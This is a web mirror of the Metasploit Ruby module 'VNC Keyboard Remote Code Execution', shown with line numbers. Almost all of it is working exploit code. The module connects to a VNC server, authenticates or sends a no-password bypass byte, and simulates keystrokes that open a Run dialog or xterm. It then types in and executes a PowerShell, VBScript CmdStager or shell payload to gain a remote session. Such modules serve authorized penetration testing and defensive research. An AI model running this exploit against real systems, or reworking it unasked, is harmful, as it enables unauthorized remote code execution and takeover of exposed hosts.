CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/vnc/vnc_keyboard_exec.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'rex/exploitation'
6
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = GreatRanking
9
WINDOWS_KEY = "\xff\xeb"
10
ENTER_KEY = "\xff\x0d"
11
12
include Msf::Exploit::Remote::Tcp
13
include Msf::Exploit::CmdStager
14
include Msf::Exploit::Powershell
15
16
def initialize(info = {})
17
super(update_info(info,
18
'Name' => 'VNC Keyboard Remote Code Execution',
19
'Description' => %q{
20
This module exploits VNC servers by sending virtual keyboard keys and executing
21
a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager
22
payload is typed and executed. On Unix/Linux systems a xterm terminal is opened
23
and a payload is typed and executed.
24
},
25
'Author' => [ 'xistence <xistence[at]0x90.nl>' ],
26
'Privileged' => false,
27
'License' => MSF_LICENSE,
28
'Platform' => %w{ win unix },
29
'Targets' =>
30
[
31
[ 'VNC Windows / Powershell', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
32
[ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ],
33
[ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]
34
],
35
'References' =>
36
[
37
[ 'URL', 'http://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-X-vnc-rdp-or-native/']
38
],
39
'DisclosureDate' => '2015-07-10',
40
'DefaultTarget' => 0))
41
42
register_options(
43
[
44
Opt::RPORT(5900),
45
OptString.new('PASSWORD', [ false, 'The VNC password']),
46
OptInt.new('TIME_KBD_DELAY', [ true, 'Delay in milliseconds when typing long commands (0 to disable)', 50]),
47
OptInt.new('TIME_KBD_THRESHOLD', [ true, 'How many keystrokes between each delay in long commands', 50]),
48
OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])
49
])
50
end
51
52
def post_auth?
53
true
54
end
55
56
def press_key(key)
57
keyboard_key = "\x04\x01" # Press key
58
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
59
keyboard_key << key # The keyboard key
60
# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream
61
sock.put(keyboard_key)
62
end
63
64
65
def release_key(key)
66
keyboard_key = "\x04\x00" # Release key
67
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
68
keyboard_key << key # The keyboard key
69
# Release the keyboard key. Note: No receive is done as everything is sent in one long data stream
70
sock.put(keyboard_key)
71
end
72
73
74
def exec_command(command)
75
# Timing configuration: Typing a long command too fast may overload the tagret's keyboard buffer
76
delay_duration = datastore['TIME_KBD_DELAY']
77
delay_treshold = datastore['TIME_KBD_THRESHOLD']
78
delay_treshold = 0 if delay_treshold < 0 or delay_duration <= 0
79
delay_duration = delay_duration.to_f / 1000
80
# Break down command into a sequence of keypresses
81
values = command.chars.to_a
82
values.each_with_index do |value, index|
83
press_key("\x00#{value}")
84
release_key("\x00#{value}")
85
sleep(delay_duration) if delay_treshold > 0 and index % delay_treshold == 0
86
end
87
press_key(ENTER_KEY)
88
end
89
90
91
def start_cmd_prompt
92
print_status("#{rhost}:#{rport} - Opening Run command")
93
# Pressing and holding windows key for 1 second
94
press_key(WINDOWS_KEY)
95
Rex.select(nil, nil, nil, 1)
96
# Press the "r" key
97
press_key("\x00r")
98
# Now we can release both keys again
99
release_key("\x00r")
100
release_key(WINDOWS_KEY)
101
# Wait a second to open run command window
102
select(nil, nil, nil, 1)
103
exec_command('cmd.exe')
104
# Wait a second for cmd.exe prompt to open
105
Rex.select(nil, nil, nil, 1)
106
end
107
108
109
def exploit
110
111
begin
112
alt_key = "\xff\xe9"
113
f2_key = "\xff\xbf"
114
password = datastore['PASSWORD']
115
116
connect
117
vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)
118
119
unless vnc.handshake
120
fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}")
121
end
122
123
if password.nil?
124
print_status("#{rhost}:#{rport} - Bypass authentication")
125
# The following byte is sent in case the VNC server end doesn't require authentication (empty password)
126
sock.put("\x10")
127
else
128
print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")
129
if vnc.authenticate(password)
130
print_status("#{rhost}:#{rport} - Authenticated")
131
else
132
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}")
133
end
134
end
135
136
# Send shared desktop
137
unless vnc.send_client_init
138
fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}")
139
end
140
141
if target.name =~ /VBScript CMDStager/
142
start_cmd_prompt
143
print_status("#{rhost}:#{rport} - Typing and executing payload")
144
execute_cmdstager({:flavor => :vbs, :linemax => 8100})
145
# Exit the CMD prompt
146
exec_command('exit')
147
elsif target.name =~ /Powershell/
148
start_cmd_prompt
149
print_status("#{rhost}:#{rport} - Typing and executing payload")
150
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
151
# Execute powershell payload and make sure we exit our CMD prompt
152
exec_command("#{command} && exit")
153
elsif target.name =~ /Linux/
154
print_status("#{rhost}:#{rport} - Opening 'Run Application'")
155
# Press the ALT key and hold it for a second
156
press_key(alt_key)
157
Rex.select(nil, nil, nil, 1)
158
# Press F2 to start up "Run application"
159
press_key(f2_key)
160
# Release ALT + F2
161
release_key(alt_key)
162
release_key(f2_key)
163
# Wait a second for "Run application" to start
164
Rex.select(nil, nil, nil, 1)
165
# Start a xterm window
166
print_status("#{rhost}:#{rport} - Opening xterm")
167
exec_command('xterm')
168
# Wait a second for "xterm" to start
169
Rex.select(nil, nil, nil, 1)
170
# Execute our payload and exit (close) the xterm window
171
print_status("#{rhost}:#{rport} - Typing and executing payload")
172
exec_command("nohup #{payload.encoded} &")
173
exec_command('exit')
174
end
175
176
print_status("#{rhost}:#{rport} - Waiting for session...")
177
(datastore['TIME_WAIT']).times do
178
Rex.sleep(1)
179
180
# Success! session is here!
181
break if session_created?
182
end
183
184
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
185
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")
186
ensure
187
disconnect
188
end
189
end
190
191
def execute_command(cmd, opts = {})
192
exec_command(cmd)
193
end
194
end
195
196
197